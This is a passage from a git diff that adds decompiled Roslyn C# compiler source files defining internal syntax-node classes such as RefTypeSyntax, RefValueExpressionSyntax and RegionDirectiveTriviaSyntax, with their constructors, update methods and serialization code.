(IEnumerable)annotations); + } + return refTypeExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new RefTypeExpressionSyntax(base.Kind, keyword, openParenToken, expression, closeParenToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new RefTypeExpressionSyntax(base.Kind, keyword, openParenToken, expression, closeParenToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal RefTypeExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + keyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + openParenToken = syntaxToken2; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + closeParenToken = syntaxToken3; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)keyword); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + } + + static RefTypeExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(RefTypeExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new RefTypeExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RefTypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RefTypeSyntax.cs new file mode 100644 index 0000000..eae2d3e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RefTypeSyntax.cs @@ -0,0 +1,153 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class RefTypeSyntax : TypeSyntax +{ + internal readonly SyntaxToken refKeyword; + + internal readonly SyntaxToken? readOnlyKeyword; + + internal readonly TypeSyntax type; + + public SyntaxToken RefKeyword => refKeyword; + + public SyntaxToken? ReadOnlyKeyword => readOnlyKeyword; + + public TypeSyntax Type => type; + + internal RefTypeSyntax(SyntaxKind kind, SyntaxToken refKeyword, SyntaxToken? readOnlyKeyword, TypeSyntax type, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)refKeyword); + this.refKeyword = refKeyword; + if (readOnlyKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)readOnlyKeyword); + this.readOnlyKeyword = readOnlyKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal RefTypeSyntax(SyntaxKind kind, SyntaxToken refKeyword, SyntaxToken? readOnlyKeyword, TypeSyntax type, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)refKeyword); + this.refKeyword = refKeyword; + if (readOnlyKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)readOnlyKeyword); + this.readOnlyKeyword = readOnlyKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal RefTypeSyntax(SyntaxKind kind, SyntaxToken refKeyword, SyntaxToken? readOnlyKeyword, TypeSyntax type) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)refKeyword); + this.refKeyword = refKeyword; + if (readOnlyKeyword != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)readOnlyKeyword); + this.readOnlyKeyword = readOnlyKeyword; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => refKeyword, + 1 => readOnlyKeyword, + 2 => type, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.RefTypeSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitRefType(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitRefType(this); + } + + public RefTypeSyntax Update(SyntaxToken refKeyword, SyntaxToken readOnlyKeyword, TypeSyntax type) + { + if (refKeyword != RefKeyword || readOnlyKeyword != ReadOnlyKeyword || type != Type) + { + RefTypeSyntax refTypeSyntax = SyntaxFactory.RefType(refKeyword, readOnlyKeyword, type); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + refTypeSyntax = GreenNodeExtensions.WithDiagnosticsGreen(refTypeSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + refTypeSyntax = GreenNodeExtensions.WithAnnotationsGreen(refTypeSyntax, (IEnumerable)annotations); + } + return refTypeSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new RefTypeSyntax(base.Kind, refKeyword, readOnlyKeyword, type, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new RefTypeSyntax(base.Kind, refKeyword, readOnlyKeyword, type, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal RefTypeSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + refKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + if (syntaxToken2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + readOnlyKeyword = syntaxToken2; + } + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)refKeyword); + writer.WriteValue((IObjectWritable)(object)readOnlyKeyword); + writer.WriteValue((IObjectWritable)(object)type); + } + + static RefTypeSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(RefTypeSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new RefTypeSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RefValueExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RefValueExpressionSyntax.cs new file mode 100644 index 0000000..35a32c0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RefValueExpressionSyntax.cs @@ -0,0 +1,186 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class RefValueExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken keyword; + + internal readonly SyntaxToken openParenToken; + + internal readonly ExpressionSyntax expression; + + internal readonly SyntaxToken comma; + + internal readonly TypeSyntax type; + + internal readonly SyntaxToken closeParenToken; + + public SyntaxToken Keyword => keyword; + + public SyntaxToken OpenParenToken => openParenToken; + + public ExpressionSyntax Expression => expression; + + public SyntaxToken Comma => comma; + + public TypeSyntax Type => type; + + public SyntaxToken CloseParenToken => closeParenToken; + + internal RefValueExpressionSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken comma, TypeSyntax type, SyntaxToken closeParenToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 6; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)comma); + this.comma = comma; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal RefValueExpressionSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken comma, TypeSyntax type, SyntaxToken closeParenToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 6; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)comma); + this.comma = comma; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal RefValueExpressionSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken comma, TypeSyntax type, SyntaxToken closeParenToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 6; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)openParenToken); + this.openParenToken = openParenToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)comma); + this.comma = comma; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)closeParenToken); + this.closeParenToken = closeParenToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => keyword, + 1 => openParenToken, + 2 => expression, + 3 => comma, + 4 => type, + 5 => closeParenToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.RefValueExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitRefValueExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitRefValueExpression(this); + } + + public RefValueExpressionSyntax Update(SyntaxToken keyword, SyntaxToken openParenToken, ExpressionSyntax expression, SyntaxToken comma, TypeSyntax type, SyntaxToken closeParenToken) + { + if (keyword != Keyword || openParenToken != OpenParenToken || expression != Expression || comma != Comma || type != Type || closeParenToken != CloseParenToken) + { + RefValueExpressionSyntax refValueExpressionSyntax = SyntaxFactory.RefValueExpression(keyword, openParenToken, expression, comma, type, closeParenToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + refValueExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(refValueExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + refValueExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(refValueExpressionSyntax, (IEnumerable)annotations); + } + return refValueExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new RefValueExpressionSyntax(base.Kind, keyword, openParenToken, expression, comma, type, closeParenToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new RefValueExpressionSyntax(base.Kind, keyword, openParenToken, expression, comma, type, closeParenToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal RefValueExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 6; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + keyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + openParenToken = syntaxToken2; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + comma = syntaxToken3; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + closeParenToken = syntaxToken4; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)keyword); + writer.WriteValue((IObjectWritable)(object)openParenToken); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)comma); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)closeParenToken); + } + + static RefValueExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(RefValueExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new RefValueExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ReferenceDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ReferenceDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..ab8b59a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ReferenceDirectiveTriviaSyntax.cs @@ -0,0 +1,165 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ReferenceDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + internal readonly SyntaxToken hashToken; + + internal readonly SyntaxToken referenceKeyword; + + internal readonly SyntaxToken file; + + internal readonly SyntaxToken endOfDirectiveToken; + + internal readonly bool isActive; + + public override SyntaxToken HashToken => hashToken; + + public SyntaxToken ReferenceKeyword => referenceKeyword; + + public SyntaxToken File => file; + + public override SyntaxToken EndOfDirectiveToken => endOfDirectiveToken; + + public override bool IsActive => isActive; + + internal ReferenceDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken referenceKeyword, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)referenceKeyword); + this.referenceKeyword = referenceKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)file); + this.file = file; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal ReferenceDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken referenceKeyword, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)referenceKeyword); + this.referenceKeyword = referenceKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)file); + this.file = file; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal ReferenceDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken referenceKeyword, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)referenceKeyword); + this.referenceKeyword = referenceKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)file); + this.file = file; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => hashToken, + 1 => referenceKeyword, + 2 => file, + 3 => endOfDirectiveToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ReferenceDirectiveTriviaSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitReferenceDirectiveTrivia(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitReferenceDirectiveTrivia(this); + } + + public ReferenceDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken referenceKeyword, SyntaxToken file, SyntaxToken endOfDirectiveToken, bool isActive) + { + if (hashToken != HashToken || referenceKeyword != ReferenceKeyword || file != File || endOfDirectiveToken != EndOfDirectiveToken) + { + ReferenceDirectiveTriviaSyntax referenceDirectiveTriviaSyntax = SyntaxFactory.ReferenceDirectiveTrivia(hashToken, referenceKeyword, file, endOfDirectiveToken, isActive); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + referenceDirectiveTriviaSyntax = GreenNodeExtensions.WithDiagnosticsGreen(referenceDirectiveTriviaSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + referenceDirectiveTriviaSyntax = GreenNodeExtensions.WithAnnotationsGreen(referenceDirectiveTriviaSyntax, (IEnumerable)annotations); + } + return referenceDirectiveTriviaSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ReferenceDirectiveTriviaSyntax(base.Kind, hashToken, referenceKeyword, file, endOfDirectiveToken, isActive, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ReferenceDirectiveTriviaSyntax(base.Kind, hashToken, referenceKeyword, file, endOfDirectiveToken, isActive, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ReferenceDirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + hashToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + referenceKeyword = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + file = syntaxToken3; + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + endOfDirectiveToken = syntaxToken4; + isActive = reader.ReadBoolean(); + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)hashToken); + writer.WriteValue((IObjectWritable)(object)referenceKeyword); + writer.WriteValue((IObjectWritable)(object)file); + writer.WriteValue((IObjectWritable)(object)endOfDirectiveToken); + writer.WriteBoolean(isActive); + } + + static ReferenceDirectiveTriviaSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ReferenceDirectiveTriviaSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ReferenceDirectiveTriviaSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RegionDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RegionDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..7523253 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RegionDirectiveTriviaSyntax.cs @@ -0,0 +1,150 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class RegionDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + internal readonly SyntaxToken hashToken; + + internal readonly SyntaxToken regionKeyword; + + internal readonly SyntaxToken endOfDirectiveToken; + + internal readonly bool isActive; + + public override SyntaxToken HashToken => hashToken; + + public SyntaxToken RegionKeyword => regionKeyword; + + public override SyntaxToken EndOfDirectiveToken => endOfDirectiveToken; + + public override bool IsActive => isActive; + + internal RegionDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken regionKeyword, SyntaxToken endOfDirectiveToken, bool isActive, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)regionKeyword); + this.regionKeyword = regionKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal RegionDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken regionKeyword, SyntaxToken endOfDirectiveToken, bool isActive, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)regionKeyword); + this.regionKeyword = regionKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal RegionDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken regionKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)regionKeyword); + this.regionKeyword = regionKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => hashToken, + 1 => regionKeyword, + 2 => endOfDirectiveToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.RegionDirectiveTriviaSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitRegionDirectiveTrivia(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitRegionDirectiveTrivia(this); + } + + public RegionDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken regionKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + if (hashToken != HashToken || regionKeyword != RegionKeyword || endOfDirectiveToken != EndOfDirectiveToken) + { + RegionDirectiveTriviaSyntax regionDirectiveTriviaSyntax = SyntaxFactory.RegionDirectiveTrivia(hashToken, regionKeyword, endOfDirectiveToken, isActive); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + regionDirectiveTriviaSyntax = GreenNodeExtensions.WithDiagnosticsGreen(regionDirectiveTriviaSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + regionDirectiveTriviaSyntax = GreenNodeExtensions.WithAnnotationsGreen(regionDirectiveTriviaSyntax, (IEnumerable)annotations); + } + return regionDirectiveTriviaSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new RegionDirectiveTriviaSyntax(base.Kind, hashToken, regionKeyword, endOfDirectiveToken, isActive, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new RegionDirectiveTriviaSyntax(base.Kind, hashToken, regionKeyword, endOfDirectiveToken, isActive, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal RegionDirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + hashToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + regionKeyword = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + endOfDirectiveToken = syntaxToken3; + isActive = reader.ReadBoolean(); + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)hashToken); + writer.WriteValue((IObjectWritable)(object)regionKeyword); + writer.WriteValue((IObjectWritable)(object)endOfDirectiveToken); + writer.WriteBoolean(isActive); + } + + static RegionDirectiveTriviaSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(RegionDirectiveTriviaSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new RegionDirectiveTriviaSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RelationalPatternSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RelationalPatternSyntax.cs new file mode 100644 index 0000000..10a540b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/RelationalPatternSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class RelationalPatternSyntax : PatternSyntax +{ + internal readonly SyntaxToken operatorToken; + + internal readonly ExpressionSyntax expression; + + public SyntaxToken OperatorToken => operatorToken; + + public ExpressionSyntax Expression => expression; + + internal RelationalPatternSyntax(SyntaxKind kind, SyntaxToken operatorToken, ExpressionSyntax expression, DiagnosticInfo[]? diagnostics, 